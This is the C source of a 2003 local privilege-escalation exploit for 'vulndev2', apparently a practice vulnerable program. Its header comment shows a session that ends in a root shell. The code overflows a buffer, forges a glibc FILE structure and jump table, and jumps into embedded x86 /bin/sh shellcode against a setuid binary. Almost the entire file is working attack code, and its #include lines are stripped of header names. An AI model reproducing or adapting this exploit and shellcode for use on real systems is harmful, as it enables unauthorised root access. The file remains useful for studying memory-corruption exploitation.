/*
vulndev2.c exploit - (C) 2003 Doug Hoyte and Hypervivid Solutions, Inc
www.hypervivid.com
www.hcsw.org
fractal@efnet
doug@saturn:~/devel/vulndev$ uname -mnrsp
Linux saturn 2.4.19 i686 unknown
doug@saturn:~/devel/vulndev$ gcc -Wall -g -o vulndev2sploit vulndev2sploit.c
doug@saturn:~/devel/vulndev$ gcc -Wall -g -o vulndev2 vulndev2.c
doug@saturn:~/devel/vulndev$ su
Password:
root@saturn:/home/doug/devel/vulndev# chown root vulndev2
root@saturn:/home/doug/devel/vulndev# chgrp root vulndev2
root@saturn:/home/doug/devel/vulndev# chmod a+rxs vulndev2
root@saturn:/home/doug/devel/vulndev# exit
doug@saturn:~/devel/vulndev$ ls -al vulndev2
-rwsr-sr-x 1 root root 18373 May 24 04:16 vulndev2
doug@saturn:~/devel/vulndev$ ./vulndev2sploit ./vulndev2 bffff86c
[*] vulndev2.c sploit by Doug Hoyte: www.hypervivid.com
[*] Using offset bffff86c
[*] Removing old log file 'db.log'
[*] Sploiting...
;;Ìøÿ¿;;
sh-2.05a# whoami
root
sh-2.05a# exit
doug@saturn:~/devel/vulndev$
*/
#include
#include
#include
/* my strtok's, well... don't ask */
int my_hatoi(char *tp) {
int t=0;
char tc;
if (tp[0]=='0' && tp[1]=='x') tp+=2;
while(isxdigit(tc = tolower(*tp))) {
if (isdigit(tc)) t = (t<<4) + (tc - '0');
else t = (t<<4) + (tc - 'a' + 10);
tp++;
}
return t;
}
int main (int argc, char *argv[]) {
// shellcode for Linux/x86 by Aleph Null
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char sploit1[2000];
char sploit2[100];
int i, ADDR_OF_BUF, *tp;
printf("\n[*] vulndev2.c sploit by Doug Hoyte: www.hypervivid.com\n\n");
if (argc != 3) {
printf(" Usage: %s
\n", argv[0]);
printf(" Offset should be the location in memory of the 'buf' variable\n\n");
return 0;
}
ADDR_OF_BUF = my_hatoi(argv[2]);
printf("[*] Using offset %x\n\n", ADDR_OF_BUF);
/* Remove the old log file */
printf("[*] Removing old log file 'db.log'\n\n");
unlink("db.log");
// Everything to 'a's
memset(sploit1, 'a', sizeof(sploit1));
// Set BFP to point 2 bytes before F1 (so those damn semi-colons don't get in the way)
*((int*)(sploit1+92)) = ADDR_OF_BUF-4-2;
// The magic number for FILE structs on glibc is 0xfBAD! Dig?
tp = (int*) (sploit1+96);
tp[0] = 0xFBAD0101;
// The FILE struct BS, we don't really care: we just want the ...
for(i=1;i<40;i++) tp[i] = (int) (ADDR_OF_BUF+96+(40*4));
// ... jump table
for(i=40;i<48;i++) tp[i] = (int) (ADDR_OF_BUF+96+(40*4)+(8*4));
// Tag the shell code on at the end
memcpy(sploit1+96+(40*4)+(8*4), shellcode, sizeof(shellcode));
// Use arg #2 to point F1 to our FILE struct
memset(sploit2, '\0', sizeof(sploit2));
*((int*)sploit2) = ADDR_OF_BUF+96;
// There's a bad moon on the rise...
printf("[*] Sploiting...\n\n");
execl(argv[1], argv[1], sploit1, sploit2, NULL);
return 0;
}
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